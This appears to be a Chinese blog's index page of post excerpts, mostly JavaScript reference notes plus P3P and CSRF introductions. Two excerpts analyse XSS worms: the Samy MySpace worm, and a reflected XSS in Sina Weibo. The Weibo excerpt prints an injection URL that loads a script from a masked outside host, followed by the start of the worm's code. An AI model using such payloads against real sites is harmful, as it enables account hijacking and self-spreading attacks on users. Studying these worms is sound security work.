2014年4月9日
摘要：
说到Web安全和XSS跨站脚本技术,几乎所有的书都会提到Samy Worm,这是在2005年感染了mySpace社交网络上百万用户的蠕虫。正如Morris蠕虫是互联网第一个蠕虫, Samy Worm则是第一个XSS的蠕虫。因此研究XSS技术最好了解一下这个只要浏览了profile就自动把对方加为好友并列为偶像的代码的实现技术。以下是根据对Samy Worm分析的文章进行的大致翻译：1) Myspace阻塞了大量的tags,实际上他们仅允许,,这些,或者还有少数其他标签如。,,onSomething,href等Javascript元素全都被禁用了。然而,有些浏览器如IE允许在CSS标签中插入j. 阅读全文
摘要：
主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。========================================微博XSS漏洞点 weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src=//www.****.com/images/t.js%3e%3c/script%3e?type=update 微博XSS脚本内容(XSS源码)function createXHR(){ return window.XMLHttpRequest? new XMLHttpRequest(): new ActiveXObject(&quo 阅读全文
摘要：
定义和用法match() 方法可在字符串内检索指定的值，或找到一个或多个正则表达式的匹配。该方法类似 indexOf() 和 lastIndexOf()，但是它返回指定的值，而不是字符串的位置。语法stringObject.match(searchvalue)stringObject.match(regexp)参数描述searchvalue必需。规定要检索的字符串值。regexp必需。规定要匹配的模式的 RegExp 对象。如果该参数不是 RegExp 对象，则需要首先把它传递给 RegExp 构造函数，将其转换为 RegExp 对象。返回值存放匹配结果的数组。该数组的内容依赖于 regexp 阅读全文
摘要：
定义和用法substring() 方法用于提取字符串中介于两个指定下标之间的字符。语法stringObject.substring(start,stop)参数描述start必需。一个非负的整数，规定要提取的子串的第一个字符在 stringObject 中的位置。stop可选。一个非负的整数，比要提取的子串的最后一个字符在 stringObject 中的位置多 1。如果省略该参数，那么返回的子串会一直到字符串的结尾。返回值一个新的字符串，该字符串值包含 stringObject 的一个子字符串，其内容是从 start 处到 stop-1 处的所有字符，其长度为 stop 减 start。说明su 阅读全文
摘要：
有了With 语句，在存取对象属性和方法时就不用重复指定参考对象，在 With 语句块中，凡是 JavaScript 不识别的属性和方法都和该语句块指定的对象有关。With 语句的语法格式如下所示：With (Object){ Statements;}对象指明了当语句组中对象缺省时的参考对象，这里我们用较为熟悉的 Document 对象对 With 语句举例。例如 当使用与 Document 对象有关的 write( )或 writeln( )方法时，往往使用如下形式：document.writeln(”Hello!“)如果需要显示大量数据时，就会多次使用同样的 document.writel 阅读全文
摘要：
JavaScript 可用来在数据被送往服务器前对 HTML 表单中的这些输入数据进行验证。JavaScript 表单验证JavaScript 可用来在数据被送往服务器前对 HTML 表单中的这些输入数据进行验证。被 JavaScript 验证的这些典型的表单数据有：用户是否已填写表单中的必填项目？用户输入的邮件地址是否合法？用户是否已输入合法的日期？用户是否在数据域 (numeric field) 中输入了文本？必填（或必选）项目下面的函数用来检查用户是否已填写表单中的必填（或必选）项目。假如必填或必选项为空，那么警告框会弹出，并且函数的返回值为 false，否则函数的返回值则为 true（ 阅读全文
摘要：
定义和用法isNaN() 函数用于检查其参数是否是非数字值。语法isNaN(x)参数描述x必需。要检测的值。返回值如果 x 是特殊的非数字值 NaN（或者能被转换为这样的值），返回的值就是 true。如果 x 是其他值,则返回 false。说明isNaN() 函数可用于判断其参数是否是 NaN，该值表示一个非法的数字（比如被 0 除后得到的结果）。如果把 NaN 与任何值（包括其自身）相比得到的结果均是 false，所以要判断某个值是否是 NaN，不能使用 == 或 === 运算符。正因为如此，isNaN() 函数是必需的。提示和注释提示：isNaN() 函数通常用于检测 parseFloat 阅读全文
摘要：
try语句测试代码块的错误。catch语句处理错误。throw语句创建自定义错误。错误一定会发生当 JavaScript 引擎执行 JavaScript 代码时，会发生各种错误：可能是语法错误，通常是程序员造成的编码错误或错别字。可能是拼写错误或语言中缺少的功能（可能由于浏览器差异）。可能是由于来自服务器或用户的错误输出而导致的错误。当然，也可能是由于许多其他不可预知的因素。JavaScript 抛出错误当错误发生时，当事情出问题时，JavaScript 引擎通常会停止，并生成一个错误消息。描述这种情况的技术术语是：JavaScript 将抛出一个错误。JavaScript 测试和捕捉try语 阅读全文
摘要：
P3P是一种被称为个人隐私安全平台项目（the Platform for Privacy Preferences）的标准，能够保护在线隐私权，使Internet冲浪者可以选择在浏览网页时，是否被第三方收集并利用自己的个人信息。如果一个站点不遵守P3P标准的话，那么有关它的Cookies将被自动拒绝，并且P3P还能够自动识破多种Cookies的嵌入方式。p3p是由全球资讯联盟网所开发的。1概念P3P随着Internet的发展，电子商务发展势头也异常迅猛。这种新的贸易方式在带给人们难以想象的便利前提下，也给人们带来了以往现金交易模式下所没有的麻烦——通过网络泄露个人隐私数据。(Platform f 阅读全文
摘要：
|=——————————————————————=||=————–=[ CSRF攻击原理解析 ]=——————=||=——————————————————————=||=——————-=[ By rayh4c ]=————————=||=————-=[ rayh4c@80sec.com ]=—————=||=——————————————————————=|Author: rayh4c [80sec]EMail: rayh4c#80sec.comSite: http://www.80sec.comDate: 2008-9-210×00. 前言 在Web程序中普通用户一般只在Web界面里 阅读全文